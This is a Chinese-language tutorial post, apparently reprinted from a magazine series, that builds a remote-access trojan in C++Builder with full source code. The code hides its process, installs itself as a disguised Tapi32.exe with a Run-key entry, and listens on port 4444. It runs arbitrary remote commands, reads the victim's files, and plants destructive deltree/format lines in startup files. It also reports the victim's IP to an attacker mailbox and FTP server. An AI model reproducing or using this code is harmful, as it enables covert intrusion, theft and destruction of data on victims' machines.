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什麽是木馬 大家簡單給我介紹壹下吧

木馬是如何編寫的(壹)

特洛依木馬這個名詞大家應該不陌生,自從98年“死牛崇拜”黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷,使在Dos?Windows時代中長大的中國網民從五彩繽紛的網絡之夢中驚醒,終於認識到的網絡也有它邪惡的壹面,壹時間人心惶惶。

我那時在《電腦報》上看到壹篇文章,大意是壹個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!呵呵,要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由壹些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的權限。那時木馬的主要方法是誘騙?先修改妳的.profile文件,植入木馬;當妳登陸時將妳敲入的口令字符存入壹個文件,用Email的形式發到攻擊者的郵箱裏。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網絡可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網絡事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的“關閉程序”對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網絡安全方面可以說是壹個劃時代的軟件。

自己編寫木馬,聽起來很Cool是不是?!木馬壹定是由兩部分組成?服務器程序(Server)和客戶端程序(Client),服務器負責打開攻擊的道路,就像壹個內奸特務;客戶端負責攻擊目標,兩者需要壹定的網絡協議來進行通訊(壹般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講壹講編寫木馬的技術並順便編寫壹個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。

首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這裏我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中註意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談?難道妳還給受害者傳壹個1兆多的動態鏈接庫?Msvbvm60.dll嗎?

啟動C++Builder 5.0企業版,新建壹個工程,添加三個VCL控件:壹個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成壹個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家壹看都知道是使軟件具有上傳下載功能和發郵件功能的控件。

Form窗體是可視的,這當然是不可思議的。不光占去了大量的空間(光壹個Form就有300K之大),而且使軟件可見,根本沒什麽作用。因此實際寫木馬時可以用壹些技巧使程序不包含Form,就像Delphi用過程實現的小程序壹般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關閉程序”對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是壹種被稱之為Service的後臺進程,它可以運行在較高的優先級下,可以說是非常靠近系統核心的設備驅動程序中的那壹種。因此,只要將我們的程序在進程數據庫中用RegisterServiceProcess()函數註冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麽我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系統的版本號

if (dwVersion >= 0x80000000)

// 操作系統是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定義RegisterServiceProcess()函數的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函數的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://執行RegisterServiceProcess()函數,隱藏本進程

FreeLibrary(hDLL);

file://卸載動態鏈接庫

}

}

這樣就終於可以隱身了(害我敲了這麽多代碼!)。為什麽要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程壹覽無余,因此沒必要在WinNt下也使用以上代碼(不過妳可以使用其他的方法,這個留到後面再講)。接著再將自己拷貝壹份到%System%目錄下,例如:C:\Windows\System,並修改註冊表,以便啟動時自動加載:

{

char TempPath[MAX_PATH];

file://定義壹個變量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成為能供編譯器使用的樣式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來

Registry=new TRegistry;

file://定義壹個TRegistry對象,準備修改註冊表,這壹步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://設置主鍵為HKEY_LOCAL_MACHINE

Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之

try

{

file://如果以下語句發生異常,跳至catch,以避免程序崩潰

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe

file://如果不是,就寫入以上鍵值和內容

}

catch(...)

{

file://如果有錯誤,什麽也不做

}

}

好,FormCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,並且在“關閉程序”對話框中看不見本進程了,木馬的雛形初現。

接著選中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序壹啟動就打開特定端口,處於服務器工作狀態。再將Port填入4444,這是木馬的端口號,當然妳也可以用別的。但是妳要註意不要用1024以下的低端端口,因為這樣不但可能會與基本網絡協議使用的端口相沖突,而且很容易被發覺,因此盡量使用1024以上的高端端口(不過也有這樣壹種技術,它故意使用特定端口,因為如果引起沖突,Windows也不會報錯 ^_^)。妳可以看壹看TNMFTP控件使用的端口,是21號端口,這是FTP協議的專用控制端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協議的專用端口。

再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定義了壹堆待會兒要用到的變量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立壹個文本文件Win369.bat,作為臨時文件使用

AnsiString temp=Socket->ReceiveText();

file://接收客戶端(攻擊者,也就是妳自己)傳來的數據

}

好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9個字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的長度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://將第11個字符轉換成integer型,存入file_name變量

file://為什麽要取第11個字符,因為第10個字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串將被作為寫入的內容寫入目標文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://將兩個目標文件的屬性改為可讀可寫

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11個字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11個字符是1,就把Config.sys格式化

times_of_try=0;

file://定義計數器

while(fp==NULL)

{

file://如果指針是空

fp=fopen(filename,"a+");

file://如果文件不存在,創建之;如果存在,準備在其後添加

file://如果出錯,文件指針為空,這樣就會重復

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try>100)

{

file://如果已經試了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就發回“Fail By Open File”的錯誤信息

goto END;

file://跳至END處

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!

fclose(fp);

file://寫完後關閉目標文件

Socket->SendText("Sucess");

file://然後發回“Success”的成功信息

}

}

上回我們講到如何修改目標機上的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用“dir”命令,跟著敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3個字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的長度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://從字符串第六個字符開始,將後面的字符存入Dir_Name變量,這是目錄名

if(Dir_Name=="")

{

file://如果目錄名為空

Socket->SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打開目錄出錯

Socket->SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指針是NULL

fp=fopen(TempFile,"w+");

file://就創建system\Win369.bat準備讀和寫;如果此文件已存在,則會被覆蓋

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try>100)

{

file://如果已經試了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

file://就發回“Fail By Open File”的錯誤信息

goto END;

file://並跳到END處

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果訪問目標目錄成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最後壹個字符不是“\”,證明不是根目錄

filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

file://加上“\”字符後將指針指向目錄流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

file://如果是根目錄,則不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目標文件的訪問屬性

if (attrib & FA_RDONLY)

file://“&”字符是比較前後兩個變量,如果相同返回1,否則返回0

fwrite(" R",sizeof(char),3,fp);

file://將目標文件屬性設為只讀

else

fwrite(" ",sizeof(char),3,fp);

file://失敗則寫入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://將目標文件屬性設為隱藏

else

fwrite(" ",sizeof(char),1,fp);

file://失敗則寫入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://將目標文件屬性設為系統

else

fwrite(" ",sizeof(char),1,fp);

file://失敗則寫入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://將目標文件屬性設為普通

else

fwrite(" ",sizeof(char),1,fp);

file://失敗則寫入空格

if (attrib & FA_DIREC)

fwrite(" <DIR> ",sizeof(char),9,fp);

file://將目標文件屬性設為目錄

else

fwrite(" ",sizeof(char),9,fp);

file://失敗則寫入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

file://將目錄名寫入目標文件

fwrite(CR_LF,1,1,fp);

file://寫入換行

}

fclose(fp);

file://關閉文件

closedir(dir);

file://關閉目錄

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打開Win369.bat準備讀

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try>100)

{

file://如果已經試了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就發回“Fail By Open File”的錯誤信息

goto END;

file://並跳到END處

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定義的壹個空數組

Read_Num=fread(temp_content,1,300,fp1);

file://從目標文件中讀入前300個字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text變量加上剛才的300個字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重復

};

Return_Text=Return_Text+temp_content;

file://Return_Text變量加上剛才的300個字符

fclose(fp1);

file://關閉目標文件

Socket->SendText(Return_Text);

file://返回Return_Text變量的內容

}

}

夠長吧?!察看目錄樹這麽費勁啊?!妳後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4個字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://將目標文件流存入File_Name變量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打開目標文件準備讀

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try>100)

{

file://如果已試了100次了

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的錯誤信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定義壹個空數組

Read_Num=fread(temp_content,1,300,fp);

file://從目標文件中讀入前300個字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的內容加上剛才的字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重復

};

Return_Text=Return_Text+temp_content;

file://Return_Text的內容加上剛才的字符

fclose(fp);

file://關閉目標文件

Socket->SendText(Return_Text);

file://返回Return_Text的內容,即妳查看文件的內容

}

}

咳咳!累死了!還是來點輕松的吧?操縱目標機的光驅(註意:mciSendString()函數的聲明在mmsystem.h頭文件中):

{

else if(temp=="open")

{

file://如果收到的temp的內容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就彈出光驅的托盤

}

else if(temp=="close")

{

file://如果收到的temp的內容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驅的托盤。當然妳也可以搞個死循環,讓他的光驅好好活動活動!^_^

}

}

接著就是交換目標機的鼠標左右鍵,代碼如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交換鼠標左右鍵,簡單吧?

}

}

然後就是使目標機重新啟動。但這裏要區分WinNt和Win9x?NT非常註重系統每個進程的權利,壹個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本程序足夠的權限:

{

else if(temp=="reboot")

{

file://如果收到的temp的內容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系統的版本號

if (dwVersion < 0x80000000)

{

file://操作系統是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定義變量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

file://OpenProcessToken()這個函數的作用是打開壹個進程的訪問令牌

file://GetCurrentProcess()函數的作用是得到本進程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改進程的權限

tkp.PrivilegeCount = 1;

file://賦給本進程特權

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://強行退出WinNt並重啟

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://強行退出Win9x並重啟

}

}

如果以上都不是,就讓它在Dos窗口中執行傳來的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://創建Win369.bat,如果已存在就覆蓋

times_of_try=times_of_try+1;

file://計數器加1

if(times_of_try>100)

{

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://寫入欲執行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://寫入換行符

fclose(fp);

file://關閉Win369.bat

system(TempFile);

file://執行Win369.bat

Socket->SendText("Success");

file://返回“Success”信息

}

}

妳可以直接執行什麽Ping和Tracert之類的命令來進壹步刺探目標機的網絡狀況(判斷是否是壹個企業的局域網),然後可以進壹步攻擊,比如Deltree和Format命令。^_^

到此,服務器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。朋友,別走開!(未完待續)

木馬是如何編寫的(三)

武漢 周侃

上次已編寫完服務器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):

{

END:;

Socket->Close();

file://關閉服務

ServerSocket1->Active =true;

file://再次打開服務

if (NMSMTP1->Connected) NMSMTP1->Disconnect();

file://如果SMTP服務器已連接則斷開

NMSMTP1->Host = "smtp.163.net";

file://選壹個好用的SMTP服務器,如163、263、sina和btamail

NMSMTP1->UserID = "";

file://妳SMTP的ID

try

{

NMSMTP1->Connect();

file://再次連接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1->PostMessage->FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1->PostMessage->FromName = "Casualty";

file://受害者的名字

NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";

file://將信發到我的郵箱,這壹步很關鍵

NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

file://信的內容提示妳“服務器正在運行”,並且告訴妳受害者的目前的IP地址,以便連接

NMSMTP1->PostMessage->Subject = "Server Running Now!";

file://信的主題

NMSMTP1->SendMail();

file://發送!

return;

file://返回

NextTime:

NMFTP1->Host = "ftp.go.163.com";

file://妳的FTP服務器的地址

NMFTP1->UserID = "";

file://妳的用戶ID

NMFTP1->Port = 21;

file://FTP端口號,壹般為21

NMFTP1->Password = "";

file://妳的FTP的密碼

if(NMFTP1->Connected) NMFTP1->Disconnect();

file://如果已連接就斷開

try

{

NMFTP1->Connect();

file://再連接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");

file://創建壹個新文件準備寫,如果已存在就覆蓋

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://寫入以上的SendToSite的內容

fclose(Upload);

file://寫完後關閉此文件

NMFTP1->RemoveDir("public_html");

file://刪除public_html目錄

NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

file://上傳!

}

啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中添加以下頭文件:

#include <stdlib.h>

#include <dirent.h>

#include <fcntl.h>

#include <dos.h>

#include <sys\stat.h>

#include <winbase.h>

#include <stdio.h>

#include <process.h>

#include <io.h>

#include <mmsystem.h>

至此,服務器端(Server)程序已全部

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